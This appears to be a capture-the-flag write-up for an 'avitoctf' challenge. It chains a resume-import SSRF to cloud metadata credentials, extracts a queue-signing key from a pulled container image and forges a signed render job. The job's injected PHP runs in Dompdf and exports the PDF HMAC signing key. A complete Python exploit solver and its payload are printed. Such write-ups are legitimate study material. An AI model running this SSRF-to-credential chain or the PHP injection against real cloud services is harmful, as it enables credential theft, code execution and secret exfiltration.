$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A cloud-backed resume service exposes public PDF IDs and verification codes plus an authenticated full-read SSRF. Solution: Recover the renderer source and queue protocol, forge a signed S3 job, and exploit PHP-enabled Dompdf to extract the HMAC key.
The organizer description was not preserved verbatim in the task artifacts. The challenge asks for the master secret used to sign generated resumes and produce their public verification codes.
This challenge continues the first two parts of the series. The authenticated resume importer was already known to provide full-read SSRF, including access to the IMDSv1 compatibility service. Cloud-init user-data disclosed the configured backend image, application Object Storage configuration, registry identifier, callback/storage architecture, and the PDF beta invitation. It did not contain the PDF signing key.
Public PDFs provided two useful values: a UUID document ID and a 64-hex verification code. For example:
ID: a3887633-b724-513f-b921-bc36bdbaff01 Code: 31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7
Bounded tests of direct SHA-256, truncated SHA-512, and BLAKE2 derivations over canonical, compact, raw-byte, path, and newline UUID forms produced no matches. The codes were therefore consistent with a keyed MAC rather than an unkeyed digest.
Under prior explicit authorization for this exact challenge deployment, the temporary IAM credential obtained through IMDS was kept only in memory. Cloud and registry access was strictly bounded to the named challenge resources, and only this configured image was pulled:
cr.yandex/crpml40t8ia2kptf4iv7/hrportal-backend:latest
GoReSym recovered the functions SeekerService.enqueueRender and renderPayload from the backend binary. Static string analysis also found the render-queue signing key used by the backend; its value is intentionally omitted.
Bounded Yandex Cloud API inspection then identified:
medhunter-pdf-renderer function;incoming/*.json objects;medhunter-fn-src-6d6c314a/pdf-renderer.zip;pdf-signing-key to PDF_SIGNING_KEY.Direct Lockbox payload access returned HTTP 403. However, the application Object Storage credential previously exposed by cloud-init could read the exact renderer source object. No unrelated storage objects were inspected.
The recovered source established the complete vulnerability chain:
index.php:128 verifies a queue envelope with HMAC-SHA256 over document_uuid + "." + base64(payload).index.php:191 calculates the public verification code as HMAC-SHA256 of the document UUID under PDF_SIGNING_KEY.render.php:42-48 interpolates resume fields directly into HTML without escaping.render.php:65 enables Dompdf's PHP evaluator with isPhpEnabled=true.Thus, possession of the backend's queue key allowed creation of a valid render job. An injected <script type="text/php"> block in the about field executed inside the renderer and could call the renderer's own s3_request() helper.
Reuse the authenticated resume-import full-read SSRF from parts I and II to read cloud-init user-data and, only under the explicit deployment authorization, the IMDS temporary IAM credential. Keep the temporary credential in memory and constrain its use to the configured challenge resources.
Pull only the backend image named in user-data, extract image-backend/rootfs/app/hrportal-api, and run GoReSym. The recovered symbols locate the queue creation logic, while a bounded binary search identifies the queue signing key by its fixed format. Do not print or preserve that key in reports.
List the challenge function, version, and trigger metadata. This reveals the renderer function, source archive, Object Storage event prefix, and the Lockbox-to-environment binding. Although direct access to the Lockbox payload is denied, the already exposed application S3 credential can read the specifically named function source archive.
Source review shows that a render job has this logical structure:
{ "key": "<DOCUMENT_UUID>", "payload": "<BASE64_RESUME_JSON>", "signature": "<HMAC_SHA256>" }
The trigger invokes the function whenever a matching JSON object is created beneath incoming/ in the challenge input bucket.
The following sanitized solver reproduces the exploit. Supply the previously recovered challenge storage values through environment variables; the queue key is extracted locally from the authorized backend image. The script does not display any credential or recovered secret.
#!/usr/bin/env python3 import base64 import hashlib import hmac import io import json import os import re import time import uuid from pathlib import Path from minio import Minio from minio.error import S3Error binary = Path("image-backend/rootfs/app/hrportal-api").read_bytes() queue_key = re.search(rb"mhq_v1_[0-9a-f]{32}", binary).group(0) endpoint = os.environ["STORAGE_ENDPOINT"] region = os.environ.get("STORAGE_REGION", "ru-central1") bucket = os.environ["STORAGE_BUCKET"] access_key = os.environ["STORAGE_ACCESS_KEY"] secret_key = os.environ["STORAGE_SECRET_KEY"] document_id = str(uuid.uuid4()) output_object = f"solver-output/{document_id}.txt" php = ( '<script type="text/php">' "$v=getenv('PDF_SIGNING_KEY');" "\\s3_request('PUT',getenv('STORAGE_ACCESS_KEY')," "getenv('STORAGE_SECRET_KEY')," f"'{bucket}','{output_object}',$v,'text/plain');" "</script>" ) resume = { "title": "Controlled security review", "full_name": "Solver", "city": "Test", "salary": 1, "about": php, "experience": "normal", "skills": "testing", "contact": "[email protected]", "is_vip": False, } payload = base64.b64encode( json.dumps(resume, separators=(",", ":")).encode() ).decode() message = f"{document_id}.{payload}".encode() signature = hmac.new(queue_key, message, hashlib.sha256).hexdigest() envelope = json.dumps( {"key": document_id, "payload": payload, "signature": signature}, separators=(",", ":"), ).encode() client = Minio( endpoint, access_key=access_key, secret_key=secret_key, secure=True, region=region, ) client.put_object( bucket, f"incoming/{document_id}.json", io.BytesIO(envelope), len(envelope), content_type="application/json", ) for _ in range(45): try: response = client.get_object(bucket, output_object) recovered = response.read().decode().strip() response.close() expected = "31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7" Path("recovered-key.txt").write_text("<REDACTED>\n") assert recovered.startswith("avito{") and recovered.endswith("}") assert hmac.new( recovered.encode(), b"a3887633-b724-513f-b921-bc36bdbaff01", hashlib.sha256, ).hexdigest() == expected print("recovered and cryptographically validated PDF signing key") break except S3Error as exc: if exc.code not in ("NoSuchKey", "NoSuchObject"): raise time.sleep(2) else: raise SystemExit("renderer did not create the controlled output")
The payload writes only PDF_SIGNING_KEY to a unique solver-controlled object in the challenge input bucket. It does not access unrelated bucket content or inspect objects created by other competitors.
Use the public document pair rather than trusting exfiltration alone:
import hashlib import hmac import os document_id = b"a3887633-b724-513f-b921-bc36bdbaff01" expected = "31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7" key = os.environ["PDF_SIGNING_KEY_RECOVERED"].encode() assert hmac.new(key, document_id, hashlib.sha256).hexdigest() == expected print("public PDF verification code matches")
The exact match proves that the recovered value is the HMAC key used for public resume verification codes.
notes.md — full hypothesis history, authorization boundary, dead ends, exploit result, and verification.user-data.txt — configured image and challenge storage/registry architecture; sensitive values omitted here.image-backend/rootfs/app/hrportal-api and goresym.json — backend image and recovered queue-related symbols.cloud-functions.json, cloud-function-versions.json, and cloud-triggers.json — function, source-object, secret-binding, and trigger metadata.renderer-src/index.php:128,191 — queue-envelope validation and HMAC verification-code computation.renderer-src/render.php:42-48,65 — unescaped resume fields and PHP-enabled Dompdf.exploit_renderer.py — original bounded exploit implementation; sensitive values are not reproduced here.resume-1.txt — public UUID and verification-code pair used for independent confirmation.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar